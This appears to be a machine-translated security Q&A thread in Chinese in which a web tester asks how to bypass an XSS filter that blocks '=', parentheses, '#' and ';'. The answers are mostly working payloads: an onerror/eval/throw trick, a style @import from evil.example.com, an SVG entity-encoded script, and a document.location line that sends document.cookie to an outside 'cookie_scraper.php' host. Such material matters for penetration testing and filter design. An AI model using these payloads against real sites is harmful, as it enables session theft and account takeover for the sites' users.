没有特殊字符的跨站点脚本

信息安全 Web应用程序 javascript xss
2021-08-18 12:23:58

我正在测试一个 Web 应用程序,我发现了一个 XSS 漏洞。我可以破坏标签并向应用程序注入一些代码,但对客户端没有潜在危险。

该应用程序有一个过滤器,可以检测特殊字符和一些字符串,我也可以绕过过滤器进行字符串识别,在其字符之间注入空值(< scr%00ipt> ),但我不知道如何绕过它单个字符。

Allowed chars: :  / & @ - { } < > \ . , ' "
Disallowed chars: = ( ) # ;

过滤器不使用字符转换,当检测到不允许的内容时,它会显示错误消息:检测到无效参数

也许我遗漏了一些东西,但今天我看不到如何在这种情况下执行 javascript。任何的想法?

4个回答

是的,这是可能的。您可以使用一个技巧onerror

<img src=x onerror=eval;throw'=alert\x281\x29';>

生成一个 JavaScript 字符串,然后将throw其传递回,eval因为throw构成错误。这为您提供了完全任意的 JavaScript 注入。


好的,所以你说我们不能使用等号。相反,我建议这个技巧:

"><style>@import'http://evil.example.com/xss.css';</style>

这包括页面中的第 3 方 CSS 文件。从那里你可以启动 JavaScript:

body {
    background-image: url('javascript:alert(document.cookie);')
}

您还可以使用其他技巧从 CSS 中获取 JavaScript 执行。

阻止括号很奇怪,我不知道这会阻止任何攻击。 没有括号的 XSS 是可能的

对于支持 svg的浏览器:

<svg>
    <script>alert&#40/1/.source&#41</script>
</svg>

如果您只想要一个简单的 PoC,那么这应该可以:

<script>onerror=alert;throw 1;</script>

但现实世界的漏洞利用不需要括号:

document.location='http://evilsite/cookie_scraper.php?cookie='+document.cookie

VBScript 的简单技巧:<input onfocus=vbs:msgbox+1> [适用于 IE]

如果过滤掉所有特殊字符怎么样。我正在测试一个不允许在搜索栏中输入特殊字符的网站。